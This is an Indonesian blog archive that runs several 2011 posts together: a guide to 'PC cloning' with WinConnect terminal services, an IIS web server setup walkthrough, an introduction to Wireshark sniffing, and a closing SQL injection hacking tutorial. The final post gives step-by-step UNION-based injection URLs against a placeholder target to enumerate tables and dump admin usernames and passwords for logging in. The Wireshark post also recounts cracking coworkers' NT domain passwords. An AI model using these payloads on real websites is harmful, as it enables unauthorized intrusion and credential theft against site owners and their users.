Kamis, 15 Desember 2011

PC CLONING dengan WINCONNECT

PC CLONING dengan WINCONNECT APA ITU.. ? Pasti anda pernah mendengar iklan seperti ini “kursus jaringan yang membuat PC Pentium lama anda akan setara Pentium 4” pasti banyak yang berpikir “kok bisa” dan pasti bertanya-tanya bagaimana bisa yah, dan pasti anda ingin cari tahu. iklan-iklan seperti ini sangat banyak sekali nampang di koran-koran atau majalah-majalah teknologi informasi yang di iklankan oleh lembaga lembaga pendidikan non formal seperti tempat kursus di ibu kota


Iklan-iklan seperti ini sangat banyak sekali nampang di koran-koran atau majalah-majalah teknologi informasi yang di iklankan oleh lembaga lembaga pendidikan non formal seperti tempat kursus di ibu kota. iklan seperti itu memang benar adanya jadi Pentium lama dibuat jaringan dengan Pentium 4 sebagai server dan menggunakan program emulator yang sudah terkenal sekarang ini, seperti Citrix Metaframe XP atau windows Terminal Service milik windows 2000/2003 server.


1. Apakah PC Cloning itu ?



· PC merupakan Teknologi Terminal Service pada jaringan computer local yang menggunakan kabel seperti Local Area Network (LAN) maupun jaringan tanpa kabel seperti Wide Area Network (WAN). System Cloning ini memiliki kemampuan memberdayakan computer tipe lama menjadi secepat computer terbaru yang dijadikan Server hanya dengan software atau fasilitas Terminal Service di Windows NT 4.0 atau Windows 2000 Server. Dan tentunya dengan software yang akan kita bahas kali ini yaitu “WINCONNECT”


Cara kerjanya yaitu software akan melakukan semacam proses Cloning terhadap konfigurasi server (Processor dan RAM) dan selanjutnya memudahkannya secara virtual ke semua computer (workstation) yang terhubung dengan server tersebut.


2. Manfaat PC Cloning


· Hemat, karena Anda hanya membutuhkan satu unit computer berkecepatan tinggi untuk dijadikan Sender Sedangkan PC Client dapat menggunakan computer lama seperti PC 486 atau Pentium lama.


· Efisiensi, Instalasi semua aplikasi hanya dilakukan di Server. Computer Client hanya perlu system dengan Device hardware dengan spesifikasi yang lebih rendah.


· Bahkan computer client dapat bekerja tanpa Hard disk, cukup dengan disket (tentunya dengan proses modifikasi).




3. Untuk Siapa PC Cloning ?



System ini dapat digunakan oleh semua kalangan yang memiliki computer lebih dari satu unit seperti :


· Kantor pemerintahan dan swasta


· Lembaga pendidikan seperti sekolah. perguruan tinggi atau lembaga kursus.


· Lembaga Swadaya Masyarakat (LSM).


· Dan lain-lain




4. Peranti Keras yang Diperlukan




4.1. Computer Server



Computer Server akan menjadi pusat kegiatan jaringan menjadi sumber untuk proses Cloning. Computer Server hanya satu unit saja dengan kemampuan yang memadai sehingga dapat melayani semua client yang terhubung di jaringan.



Agar kinerja subsistem Cloning berjalan secara maksimal, perlu diperhatikan konfigurasi peranti keras Computer Server sebagai berikut:


· CPU berbasis Pentium III/IV


· Memori minimal 256 MB (dianjurkan lebih besar)


· Harddisk minimal, 4,3 GB


· Floppy Disk Drive (FDD)


· CD Rom Drive


· Sound Card


· Ethernet Card (LAN Card) 10 atau 10/100 Mbps


· Keyboard & Mouse


· Monitor VGA SVGA


· Modem (jika diperlukan untuk koneksi internet)




4.2. Computer Client



Computer Client adalah computer yang dijadikan workstation, jumlahnya disesuaikan dengan kebutuhan. Tidak ada batasan untuk jumlah client, namun jika jumlahnya lebih dari sepuluh computer, sebaiknya memperbesar kemampuan Server terutama resource memori.



Spesifikasi computer client sebagai berikut:


· CPU berbasis 286, 386, 486 atau lebih tinggi


· Memori minimal 2 MB atau lebih tinggi


o 8 MB jika menggunakan Windows 95 (CPU 486)


o 16 MB jika menggunakan windows 98 (CPU Pentium 100)


· Harddisk ± 100 MB untuk system DOS/Windows 98


· VGA Card minimal 256 Colour (dianjurkan 16 bit ke atas)


· Floppy Disk (FDD) 1.44 MB


· Sound Card


· Ethernet Card (LAN Card) 10 atau 10/100 Mbps atau Wired LAN


· Keyboard


· Mouse


· Monitor VGA/SVGA




4.3. Local Area Network (LAN)



Untuk menghubungkan semua computer yang akan digunakan pada system Cloning diperlukan peralatan LAN (Local Area Network) yang terdiri atas Ethernet HUB, LAN Card. Kabel UTP dan Konektor RMS. Pembahasan mengenai LAN dapat dilihat pada bagian selanjutnya di buku ini.





5. Piranti Lunak PC Cloning Winconnect



Fasilitas Terminal Service terdapat di Windows NT 4.0 Terminal Edition (TSE) dan Windows 2000 Server Family (Windows 2000 Server, Windows 2000 Advance Server, dan Windows 2000 Datacenter Server). Namun secara default belum terinstal kecuali jika Anda menambahkan fasilitas tersebut pada saat instalasi atau melalui Windows Component di Control Panel.



Tapi yang kita bicarakan saat ini adalah Terminal Service dari software WINCONNECT. Winconnect ( Download di

www.thinsoftinc.com.

merupakan salah satu software terminal emulator yang digunakan untuk memungkinkan Linux Base terminal atau pun Windows base terminal (win95/98, Win XP, Win 2000, etc) utk dikoneksikan ke terminal emulator (WinXP , Windows Server) melalui Remote Display protokol (RDP) ataupun Remote Web Desktop Connection.



Mengapa hal itu dilakukan karena untuk menghemat resource dan rupiah tentunya. Dengan hanya memanfaatkan Windows server sehingga user dapat memanfaat secara real time semua resource yang dimiliki windows server tersebut, oleh sistem operasi lainnya seperti LINUX ataupun berbagai macam platform Windows OS bahkan PDA. Untuk dapat membuat Pentium 486 atau personal digital assistant (PDA) dapat digunakan (Lokal Area Network) LAN atau Via internet. Etc .

Jadi dalam Hal ini user/client hanya sebagai input-output Keyboard dan Mouse yang mana semua proses dilakukan di server.



Sebuah koneksi broadband internet kecepatan tinggi seperti DSL atau ADSL atau ISN yang berada di kantor anda dapat dimanfaatkan untuk anda bekerja dirumah anda dengan mengandalkan akses internet kecepatan rendah misalnya dial-up. Jadi anda bekerja dirumah tetapi seolah-olah anda berada di kantor anda, bukan hanya di rumah anda di warnetpun anda bisa melakukannya dengan hanya memanfaatkan Internet Explorer (Catatan: dengan melakukan IP Forwarding dulu atau menyewa IP Publik, akan dibahas dilain waktu) untuk memanfaat semua resource kompurter anda dikantor . Asik bukan ….?








INSTALASI JARINGAN LAN (LOCAL AREA NETWORK)



Untuk saat ini yang dibahas koneksi jaringan menggunakan LAN. Dan pada prinsipnya sama saja jika diterapkan pada sistem koneksi lainnya.



1. Ethernet HUB atau Concentrator


HUB adalah perangkat yang memiliki banyak lubang (Port) yang akan menghubungkan semua computer. Salah satu port akan menghubungkan HUB tersebut ke Computer Server. Sedangkan port lainnya digunakan untuk menghubungkan Computer Client atau Workstation yang sudah memiliki LAN Card untuk membentuk suatu jaringan.


Port yang tersedia sampai 8, 16, 24 atau lebih banyak sesuai kebutuhan Anda. Untuk kecepatan, Anda dapat menggunakan HUB 10 atau 10/100. Sebaiknya menggunakan 10/100 karena dapat digunakan untuk jaringan berkecepatan maksimal 10/100.




2. Ethernet Card



Ethernet Card atau LAN Card sering disebut juga NIC (Network Interface Card) berupa papan elektronik yang dipasang di setiap computer yang akan dihubungkan ke jaringan, anda biasa menggunakan LAN Card yang tipe ISA atau PCI dengan kecepatan 10 atau 10/100 Mbps. Tentunya harus disesuaikan dengan type Ethernet HUB yang akan digunakan.




3. Kabel LAN UTP



Ada beberapa jenis kabel untuk jaringan, namun untuk lebih mudahnya Anda dapat menggunakan kabel jenis UTP (Unshelded Twisted Pair), karena di samping tidak terlalu mahal juga kemampuannya dapat diandalkan.




4. Konektor UTP (Jack RJ-45)



Untuk menghubungkan kabel UTP diperlukan konektor RJ-45 atau sejenisnya jack yang bentuknya mirip dengan jack kabel telepon namun lebih banyak lubang kabel. Konektor tersebut dipasang di kedua ujung kabel dengan peralatan Tang khusus UTP. Namun jika belum bisa memasangnya, Anda dapat meminta sekaligus pemasangan pada saat membeli kabel UTP.








Lihat gambar diatas bisa dijalankan diatas Windows 98
melalui program Remote Desktop Protokol (RDP)
(Bukan software semacam RADMIN tapi merupakan suatu sistem emulasi)








Lihat gambar diatas bisa dijalankan diatas Windows 98
melalui Remote Desktop Web Connection menggunakan
browser internet seperti Internet Explorer


Winconnect ini sangat mirip dengan Citrix Metaframe yang memungkinkan kemampuan client akan sama dengan kemampuan server, tapi kelebihan program ini dibandingkan dengan Citrix Metaframe XP adalah bisa berjalan di Windows XP versi Home atau Profesional sebagai server, yang kalau Citrix hanya bisa berjalan di Windows 2000 server yang penginstalannya kalau untuk pertama kali cukup rumit apalagi kalau untuk mengaktifasi juga bisa bikin pusing yang disertai sistem licensi untuk tiap client/user (bukankah ini pemborosan di era negara kita yang terus menerus terpuruk).



Dengan program ini anda menginstall dengan cukup mudah sekali. Jadi kemampuan PC yang menjalankan Windows XP atau Win Server akan bisa dijalankan diatas windows 95/98, Win Me, Win2000 dan Win XP bahkan linux Mandrake dan Linux RedHat dan berbagai macam platform linux lainnya, bahakan bisa juga PDA, secara bersamaan dan berdiri sendiri layaknya server.



Jadi kemampuan Winconnect ini seperti mencloning seluruh kemampuan server termasuk seluruh program-programnya tanpa terkecuali termasuk pula semua resource PC seperti CD ROM, Internet Conection, Harddisk, Printer dan lain sebagainya pokoknya semuanya, tapi disetiap sisi client berdiri sendiri atau berjalan sendiri-sendiri. Ibaratnya komputer server dipindahkan dan dijalakan disisi masing-masing user tapi berjalan sendiri tiap user secara bersamaan/realtime.





Beberapa kelebihan Connect Terminal ini :



- Berjalan di Windows XP (Versi Home atau Profesional) tanpa perlu memakai Operation System Server seperti Windows 2000 Server.



- Mengcloning seluruh kemampuan server dan seluruh software-software yang dimilikinya yang dapat dijalankan di client tanpa membebani client sama sekali (jadi client hanya sebagai input dan output keyboard dan mouse serta display monitor). Misalnya anda mempunyai Pentium I yang lainnya Pentium 4 yang kemampuannya menjalankan program seperti 3 dimensi Studio Max atau 3 D maya yang mana tidak mampu dijalankan client dengan kemampuan PC Lama seperti Operation System yang rendah (Win95, Win98, WinMe, Win2000), dengan program ini client mampu menjalankan program tersebut dengan seluruh prosesnya dilakukan di Pentium 4.



- Kalau client berjalan di Windows XP cukup menggunakan Remote Display Protokol yang ada pada windows XP kalau anda di windows 98/Me cukup menginstall RDP windows XP .



- Client yang berjalan di linux bisa menjalankan kemampuan PC Pentium 4 yang berjalan di windows XP. Jadi dengan program ini anda tidak memerlukan setiap PC di kantor anda harus menjalankan windows XP yang membutuhkan license yang harus di beli apalagi era Penerapan HAKI sekarang ini, jadi server saja yang menggunakan windows XP yang lainnya misalnya Linux. 

Sehingga Linux juga mampu menjalankan windows XP dan setiap PC yang terinstal Linux akan menjalankan Windows XP secara bersamaan dan berdiri sendiri-sendiri yang memanfaatkan seluruh kemampuan Windows XP beserta Hardwarenya tanpa terkecuali (kecuali VGA). S
ystem dengan cara ini sangat bagus diterapkan di warnet-warnet……..hemat rupiah tentunya, tanpa melanggar hak licensi Microsoft. Misalnya pelanggan disuatu di warnet ada 20 pc semua pc di instalkan Linux saja (PC…? beli yang second/murah asal sudah bisa menjalakan Linux). Sedangkan di sisi server cukup digunakan 1 Windows XP Licensi. Dan semua PC Linux anda akan mampu menjalankan Windows XP. Kemudian jika ada upgrade hardware tentunya lebih hemat lagi karena sisi server saja yang akan di upgrade Hemat kan???.



- Andapun dapat Bekerja di rumah untuk memanfaatkan kemampuan Windows XP di kantor anda via internet, yang sama sekali tidak membebani kemampuan PC di rumah anda. Misalnya di rumah anda akses internet dial-up dengan akses internet yang lambat dan di kantor anda akses internet kecepatan sangat tinggi, dgn program ini akan memanfaatkan juga akses internet yang juga sama cepat dimiliki oleh Windows XP di kantor anda, karena semua proses dilakukan di sisi server di kantor anda sedangkan PC di rumah anda hanya menampilkan Display dan komunikasi keyboard dan mouse. (asyik bukan……???).



- Instalasi sangat mudah seperti kalau anda menginstall program seperti MS Office, Adobe, Corel. Tidak seperti Citrix yang harus berjalan di win2000 Server dan instalasi yang harus membutuhkan kejelian.



- Ukuran file sangat kecil yaitu Cuma 8,5 MB dibandingkan dengan citrix yang ukurannya mencapai 300 MB.



- Dengan program ini kemampuan server Pentium 4 akan anda manfaatkan untuk jumlah user/Client secara bebas. Dibandingan dgn windows teriminal service milik windows 2000 harus mendapatkan licensi untuk setiap clientnya.



- Resolusinya menyesuaikan dengan resolusi client kita, bisa memilih resolusi pixel yang kita kehendaki misalnya 460 x 480 atau 800 x 600 atau 1024 x 768 atau lebih dari itu sesuai kemampuan monitor client dan bisa dalam mode full screen yang mana seolah-olah PC Pentium lama kita sedang menjalankan windows XP.



- Bagus digunakan untuk Warnet, perkantoran yang dapat menghemat jikalau akan mengupgrade hardwarenya. Karena nggak perlu rumit-rumit cukup ganti aja servernya. Dan amat efisien karena seluruh programnya akan terdapat di server aja, jadi nggak perlu lagi instal di client. Dan sebenarnya kalau anda jeli andapun dapat memakai PC client tanpa harddisk menjalankan booting dengan memakai software Thin Offiz atau yang lain sebagainya pada Server Windows XP




Skema berbagai Platform OS mampu memanfaatkan resource

Server untuk digunakan secara bersama-sama user/client dengan berdiri sendiri-sendiri




6. Untuk di sisi Client



Jika Windows XP/Windows 2000 sebagai client agar bisa menjalankan digunakan program yang sudah Built-in pada Windows XP tersebut.



Ikuti langkah berikut :


o Klik start menu


o Pilih Programs


o Pilih Accessories, klik Communications lalu klik “Remote Desktop Connection” maka akan tampil gambar seperti di bawah ini :









o Untuk menjalankan program ini di bagian option general pada pilihan Computer klik tanda panah ke bawah pilih pilihan kata “ ” digunakan untuk mencari terminal server yang sedang aktif, maka akan tampil kotak berisikan komputer yang memiliki terminal server.


o Klik dua kali PC yang terdapat Terminal Server tersebut lalu akan masuk ke Windows XP dengan memunculkan kotak dialog Log-on seperti gambar berikut







Jika Client Windows 95/98/Me


o Kalau untuk menjalankan program Remote Desktop Connection di Windows 95/98/Me Harus kita melakukan instalasi karena di Windows 95/98/Me program tersebut tidak built-in didalamnya, jadi harus install dulu RDP for Windows 95/98/Me. Sedangkan untuk menjalankan program tersebut semuanya sama seperti langkah untuk menjalankannya di Windows XP/2000. s


melalui program Remote Desktop Web Connection (coba perhatikan labelnya pada star menu tertulis “windows terminal server” yang seharusnya kalau pada sever tertulis “Windows XP Professional” itu menandakan user berdiri secara sendiri-sendiri)


- Berdasarkan pengalaman penulis belum pernah ada windows XP semudah dan setangguh program ini yang bisa di jadikan Windows Terminal Emulator. Jika ada???? yang salah mohon teman-teman ralat yah….!!!!




Jika Dijalankan di PC Linux dan PDA



Jika dijalankan di PC Linux dapat menggunakan software instalasi yang akan di setup di Linux OS yaitu RDP for Linux dan RDP for Windows Mobile PDA.





Catatan Penulis :



- Bahwa anda bisa juga menjalankan beberapa Windows XP di satu PC client dan setiap Windows XP tersebut berdiri sendiri-sendiri. Semua program yang ada di PC Host Windows XP seluruhnya bisa digunakan termasuk pemanfaatan resource Hardwarenya.



- Setiap penambahan PC minimal dialokasikan memory 64 MB untuk setiap PC Client.



- Anda bisa juga menjalankan windows XP di linux mandrake dan linux Redhat dengan memakai Remote Desktop Protocol atau Terminal Client for Linux. serta beberapa thin client Remote Desktop Client (RDP) untuk bisa dijalankan di Linux sehingga anda bisa menjalankan Windows XP di Linux.



- Jika anda betul betul ingin mempraktekkan silahkan googling untuk keywordnya sesuai dengan tulisan saya.





Permasalahan yang dapat timbul Berdasarkan pengalaman penulis :


1. Muncul tampilan dibawah ini saat Log on di windows XP

Akan muncul kotak dialog yang tidak memungkinkan untuk masuk di windows XP seperti gambar di bawah ini :




Untuk menghilangkan kotak dialog tersebut muncul, pada “Administrations Tools” pilih Local Security Policy pada security Options pada kolom policy “ Accounts : limit local accounts use of blank password to console logon only “ yakinkan untuk anda harus dalam posisi “Disable” seperti pada gambar di bawah ini. 








2. Tidak aktifnya Terminal server di windows XP.


Coba buka administration tools pilih “service” pada kolom Name pilih Betwin Terminal Services dan yakin kan anda pada kolom “status” dalam keadaan started dan pada kolom “startup type” pada keadaan automatic.




3. User kedua dan ketiga dan seterusnya tidak bisa Log-ON


Dalam hal ini Cuma hanya satu user yang bisa melakukan PC cloning sedangkan user kedua dan seterusnya tidak dapat mengcloning ataupun log-on, hal ini dapat diatasi dengan memberikan hak user Log-On pada sisi server Windows XP agar semua user dapat melakukan PC Cloning di Windows XP sebagai server tersebut. Caranya:



Klik kanan My Computer Lalu klik Properties. Lalu pilih option “REMOTE” seperti gambar dibawah ini. Dan pada option Remote Desktop pilihannya harus di centang. Yang bertuliskan Allow user to remotely to this computer = memungkinkan user untuk melakukan remote melalui komputer ini.

Selanjutnya klik tombol Select remote user akan muncul gambar di bawah ini :

Masukan nama user yang berhak melakukan


Log-in. (bukan IP address user)
Jikalau latihan untuk menggunakan software ini pada satu PC saja, anda dapat memakai software VM-Ware untuk mensimulasikan software emulator ini.





Sekiranya kalau merasa penjelasannya masih terasa kurang atau kurang dimengerti atau menghadapi atas problem software ini.

KONFIHURASI WEB SERVER DI WINDOWS 2003 SERVER

Quantcast
Server web adalah sebuah perangkat lunak server yang berfungsi menerima permintaan HTTP atau HTTPS dari klien yang dikenal dengan browser web dan mengirimkan kembali hasilnya dalam bentuk halaman-halaman web yang umumnya berbentuk dokumen HTML. Server web yang terkenal diantaranya adalah Apache dan Microsoft Internet Information Service (IIS). Apache merupakan server web antar-platform, sedangkan IIS hanya dapat beroperasi di sistem operasi Windows.
Langkah-langkah Konfigurasi Web Server
1. Pertama kita masukkan CD Windows Server 2003 pada CD-ROM
2. Mulai dengan klik start menu
3. Lalu pilih “Control Panel”
4. Kemudian pilih “add or remove programs”
5. Setelah itu pilih “add or remove windows components”
6. Pada windows components pilih “Application Server”,
7. Kemudian pilih “Detail”
8. Setelah itu beri tanda centang pada “Internet Information Services (IIS)”. Klik OK
9. Tunggu beberapa saat ketika computer mencopy data dari CD. Setelah itu klik Finish.
10. Setelah IIS diinstall, klik start menu => administrative tools => Internet Information Services (IIS) Manager.
11. Klik kanan pada folder “Web Sites” kemudian pilih New => Web Site…
12. Klik Next pada “Web Site Creation Wizard”
13. Isi deskripsi web pada “Web Site Description”. Lalu next
14. Masukkan IP Address yang akan digunakan untuk Web site ini. Lalu next
15. Pada “Web Site Home Directory”, klik Browse untuk meletakkan direktori web. Cari folder Inetpub =>wwwroot. Kemudian klik Ok. Lalu Next
16. Klik Next pada “Web Site Access Permissions”. Ini untuk memperbolehkan apa saja yang bisa dilakukan pada web tersebut. Jadi centang saja “Read”. Lalu next
17. Setelah itu Klik Finish.
18. Setelah jadi, klik kanan pada web site yang telah kita buat tadi. Lalu pilih Properties
19. Pada Properties, masuklah pada halaman “Documents”. Lalu tambahkan Seperti : Index.php, Index.html, Index.asp dan lainnya. Lalu klik Apply & OK
20. Web server pun jadi.

Kesimpulan

Web server adalah tempat penyimpanan data-data Website yang di Upload ke server dan dapat membuat Web tersebut tampil pada internet.

Jumat, 09 Desember 2011

Cara Pengguna Wireshark

Wireshark merupakan sebuah software sniffer freeware yang dapat didownload dengan mudah di www.wireshark.org. Walaupun termasuk kategori software gratis, software yang sebelumnya dinamakan Ethereal memiliki banyak fitur powerful yang tidak kalah dengan software sejenis. Program sniffer adalah program yang dapat digunakan apabila kita ingin ‘mengintip/mengendus/sniff’ sebuah jaringan, baik Ethernet maupun non-ethernet. Hanya saja, sehari-hari rasanya kita lebih sering berkutat dengan jaringan Ethernet.
Mengapa kita perlu ‘mengintip/mengendus’ jaringan ? Salah satu alasan kuat yang sering ditemui oleh penulis adalah “paket tidak pernah berbohong”. Yang dimaksud di sini, pada saat customer mengatakan bahwa jaringan nya pelan, atau jaringan nya tidak responsive, atau jaringan nya kadang cepat kadang tidak bisa connect, dsb., maka cara paling mudah adalah ‘mengendus’ jaringan dengan langsung melihat isi-isi paket yang lewat di jaringan tersebut. Pernah ada satu kasus yang penulis temukan, pada saat customer mengeluh network nya bermasalah (dan mereka langsung menyalahkan switchnya), setelah paket diintip, kejadian sebenarnya adalah, ada satu mesin gateway, yang apabila mesin tersebut mendengar adanya paket request, maka mesin tersebut selalu menjawab untuk drop paket tersebut, sehingga jaringan seolah-olah tidak connect. Dari sini bisa kita pelajari, bahwa jaringan yang tidak lancar, bisa disebabkan oleh banyak sekali faktor yang harus diselidiki lebih lanjut.
Dahulu kala, semasa jaringan masih menggunakan hub, para pemakai jaringan amat mudah ‘mengintip’ isi percakapan dari para pemakai jaringan lainnya, karena teknologi hub memang masih bersifat shared. Shared yang dimaksud di sini adalah, walaupun komputer A hanya berbicara dengan komputer B, percakapan mereka dapat didengar oleh komputer C yang dicolokkan ke hub yang sama dengan A dan B. Masih teringat jelas saat bekerja di sebuah perusahaan yang memakai hub, dan di pagi hari penulis dapat meng-crack semua user password pada saat login ke NT Domain(yang memang tidak secure, atau bisa dicrack dengan dictionary attack) memakai software l0pthcrack.
Untunglah, dengan adanya switch, hal tersebut di atas tidak mungkin terjadi ( walaupun masih mungkin dilakukan dengan teknik-teknik seperti ARP poisoning dsb. ), karena teknologi switch membuat jalur virtual untuk komunikasi antar pemakainya. Lalu, apabila memang ingin meng-sniff jaringan di lingkungan switch, bagaimana caranya ?
Salah satu cara yang bisa dilakukan adalah melakukan proses port mirroring dari switch tersebut ke salah satu port di mana kita memasang software sniffer kita. Cuma saja, biasanya hanya product switch yang manage-able yang bisa melakukan hal ini. Jika switch kita memakai unmanaged, maka prosesnya akan lebih rumit J

Gambar di atas dapat dijadikan contoh kebanyakan jaringan yang ada, di mana biasanya network administrator menginginkan memonitor koneksi jaringan ke Internet. Maka yang dilakukan adalah melakukan ‘port mirroring’ pada link yang merah, dengan target mirror port adalah port tempat di mana wireshark dipasang. Tetapi, tentu saja untuk melakukan hal tersebut, network administrator harus mengkonfigurasi switch. ( Hampir sebagian besar switch yang ada di Allied Telesis, tempat penulis bekerja sudah mendukung port mirroring )
Bagaimana apabila tidak bisa mengotak-atik switch, atau switch tidak mendukung mirroring ? Salah satu jalan keluarnya adalah memasang hub. Memang sayangnya, tidak mudah mendapatkan hub di saat-saat sekarang, karena di pasaran kebanyakan sudah tidak diproduksi lagi. Kelemahan lain dari penggunaan hub adalah jenis koneksi nya half duplex, bukan full duplex seperti pada switch.

Ada juga solusi lain, seperti menggunakan network tap. Hanya saja, tidak banyak perusahaan yang mau membeli network tap untuk keperluan monitoring sesaat.
Wireshark dapat diinstall di berbagai operating system, seperti Windows (32 bit atau 64 bit), OS X , Ubuntu,dsb. Penulis sendiri banyak memakai Wireshark pada Windows, dan pada saat proses instalasi, juga akan diinstal aplikasi WinPCap, yang merupakan driver-driver khusus yang akan dipakai pada Wireshark. Apabila kita tidak menginstall WinPCap, maka Wireshark tidak akan bisa berfungsi untuk capture packet melalui jaringan.

Cara Hacking Website dengan teknik SQL Injection

Cara Hacking Website dengan teknik SQL InjectionCara ngehacking web atau biasa disebut web attack sangat banyak caranya, salah satunya dengan cara SQL injection.
apa itu SQL injection ?
SQL injection terjadi ketika attacker bisa meng-insert beberapa SQL statement ke ‘query’ dengan cara manipulasi data input ke applikasi tsb.
ini salah satu cara melakukan tekhnik SQL injection, cara ini saya copas dari http://jasakom.com oleh seorang penulis sebut saja cruz3N

oke, mari kita simak bersama-sama.
1. Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah
http://www.target.com/berita.php?id=100
2. Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
Contoh :
http://www.target.com/berita.php?id=100'
atau
http://www.target.com/berita.php?id=-100
4. Maka akan muncul pesan error…
“You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1″ Dan masih banyak lagi macamnya.
5. Next step adalah mencari dan menghitung jumlah table yang ada dalam databasenya…
Disini kita akan menggunakan perintah order by
Contoh :
http://www.target.com/berita.php?id=100+order+by+1/*
Hohoho…apalagi itu “/*” ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake “–”. Terserah aja…
Kalo “+” sebagai penghubung perintah…
6. Nah sampe sini langsung dah nyobain satu2…
http://www.target.com/berita.php?id=100+order+by+1/* (gak ada error)
http://www.target.com/berita.php?id=100+order+by+2/* (gak ada juga)
http://www.target.com/berita.php?id=100+order+by+3/* (capek dah)
http://www.target.com/berita.php?id=100+order+by+4/* (jangan nyerah)
Sampai muncul error…
Misalkan errornya disini…
http://www.target.com/berita.php?id=100+order+by+10/*
Berarti yang kita ambil adalah “9″
http://www.target.com/berita.php?id=100+order+by+9/*
7. Untuk mengetahui berapa angka yang show sekarang kita pake UNION
Contoh :
http://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9/*
Trus perhatikan angka berapa yang keluar (Kayak togel aja… ;p)
8. Misalnya angka hoki yang keluar adalah “3″ maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah “version()” atau “@@version”
http://www.target.com/news.php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*
Atau
http://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*
9. Nah kalo versinya 5 langsung aja pake perintah “information_schema” untuk melihat tabel dan kolom yang ada pada database…
Contoh :
http://www.target.com/berita.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+
from+information_schema.tables/*
Nah katanya kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL. Tapi waktu itu gua gak pake keliatan kok tabelnya…Apa gua salah? Mungkin tapi sekarang yang gua mau jelaskan adalah VERSI DAN PENGALAMAN GUA. Mungkin agak lain…ya maklum lah baru belajar…Hehehe…
Misalnya yang lo liat adalah table “admin”
Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata “table”-nya…
Contoh:
http://www.target.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9
+from+information_schema.colums/*
Misalnya kolom yang keluar adalah “password” dan “username”
Langsung aja kita liat isinya…
Contoh :
http://www.target.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9
+from+admin/*
dan
http://www.target.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9
+from+admin/*
Bisa diliat dah username ama passwordnya…Tinggal login…Cari yang asik terus…Terserah Anda…